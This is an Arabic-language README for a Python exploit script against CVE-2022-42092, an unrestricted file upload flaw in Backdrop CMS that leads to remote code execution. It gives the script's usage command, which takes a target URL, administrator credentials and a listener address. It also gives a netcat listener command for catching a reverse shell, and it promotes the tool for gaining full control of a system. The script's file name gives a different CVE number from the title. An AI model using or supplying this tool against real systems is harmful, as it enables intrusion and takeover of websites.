استغلال CVE-2022-42092 بلغة Python

🔥 الوصف

يستهدف هذا السكربت الاستغلالي المكتوب بلغة Python ثغرة رفع الملفات غير المقيدة في Backdrop CMS لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).

⚠️ الإصدارات المتأثرة

الإصدار 1.22.0 والإصدارات السابقة له ملاحظة: يعترض Backdrop CMS على ذلك ويجادل بأن صلاحيات متقدمة مطلوبة، ولهذا السبب قد تظل موجودة في الإصدارات الأحدث من 1.22.0. أعتقد أنهم يقصدون أنك ستحتاج إلى صلاحية وصول كمسؤول أولاً. ومع ذلك، فهي ثغرة صالحة، ويمكن بالتأكيد استغلالها للسيطرة الكاملة على النظام.

⚙️ طريقة الاستخدام

python3 CVE-2022-42902.py <target_url> <username> <password> <listener_ip> <listener_port>

مهم: ابدأ المستمع (listener) قبل تشغيل السكربت:

nc -lvnp <listener_port>

💻 تشغيل تجريبي

ℹ️ المرجع

• تفاصيل CVE-2022-42092